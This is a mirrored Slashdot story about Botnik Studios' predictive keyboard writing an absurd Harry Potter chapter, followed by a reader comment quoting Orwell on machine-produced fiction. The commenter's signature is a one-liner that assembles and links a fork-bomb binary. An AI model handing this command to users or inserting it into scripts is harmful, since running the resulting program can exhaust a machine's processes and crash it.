Slashdot Mirror


Predictive Keyboard Tries To Write a New Harry Potter Chapter (cnet.com)

Long-time Slashdot reader Baron_Yam writes, "Some AI news items are amusing. This is one of those." ProKras reports: What do you get when a predictive keyboard app tries to write a new Harry Potter story? Apparently, you get Chapter 13 from Harry Potter and the Portrait of What Looked Like a Large Pile of Ash.

The folks at Botnik Studios trained their keyboard using all 7 Harry Potter novels by J.K. Rowling. They used one set of training data for narration and another for dialogue. Then a bunch of team members got together in a chat room and pitched the best (worst?) lines created using the keyboard, and Botnik editors assembled them into a cohesive(ish) chapter of a story.

The results are about as ridiculous as you might imagine. For example, at one point Ron Weasley "saw Harry and immediately began to eat Hermione's family. Ron's Ron shirt was just as bad as Ron himself." It is never explained how Hermonie knew that the password to a certain locked door was "BEEF WOMEN," nor why "the pig of Hufflepuff pulsed like a large bullfrog." Maybe that was covered in Chapter 12.

1 of 65 comments (clear)

  1. Re:It's coming by Hal_Porter · · Score: 3, Informative

    Orwell mused about producing books by machinery as a way for a totalitarian state to have fiction without having any actual authors who might develop heretical political opinions.

    http://www.orwell.ru/library/e...

    It would probably not be beyond human ingenuity to write books by machinery. But a sort of mechanizing process can already be seen at work in the film and radio, in publicity and propaganda, and in the lower reaches of journalism. The Disney films, for instance, are produced by what is essentially a factory process, the work being done partly mechanically and partly by teams of artists who have to subordinate their individual style. Radio features are commonly written by tired hacks to whom the subject and the manner of treatment are dictated beforehand: even so, what they write is merely a kind of raw material to be chopped into shape by producers and censors. So also with the innumerable books and pamphlets commissioned by government departments. Even more machine-like is the production of short stories, serials, and poems for the very cheap magazines. Papers such as the Writer abound with advertisements of literary schools, all of them offering you ready-made plots at a few shillings a time. Some, together with the plot, supply the opening and closing sentences of each chapter. Others furnish you with a sort of algebraical formula by the use of which you can construct plots for yourself. Others have packs of cards marked with characters and situations, which have only to be shuffled and dealt in order to produce ingenious stories automatically. It is probably in some such way that the literature of a totalitarian society would be produced, if literature were still felt to be necessary. Imagination - even consciousness, so far as possible - would be eliminated from the process of writing. Books would be planned in their broad lines by bureaucrats, and would pass through so many hands that when finished they would be no more an individual product than a Ford car at the end of the assembly line. It goes without saying that anything so produced would be rubbish; but anything that was not rubbish would endanger the structure of the state. As for the surviving literature of the past, it would have to be suppressed or at least elaborately rewritten.

    And in 1984 the Prolefeed is produced by machines - he was writing before computers were widely known so they use 'a special kind of kaleidoscope known as a versificator'.

    https://en.wikipedia.org/wiki/...

    And the Ministry had not only to supply the multifarious needs of the party, but also to repeat the whole operation at a lower level for the benefit of the proletariat. There was a whole chain of separate departments dealing with proletarian literature, music, drama, and entertainment generally. Here were produced rubbishy newspapers containing almost nothing except sport, crime and astrology, sensational five-cent novelettes, films oozing with sex, and sentimental songs which were composed entirely by mechanical means on a special kind of kaleidoscope known as a versificator. There was even a whole sub-section-Pornosec, it was called in Newspeak-engaged in producing the lowest kind of pornography, which was sent out in sealed packets and which no Party member, other than those who worked on it, was permitted to look at.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;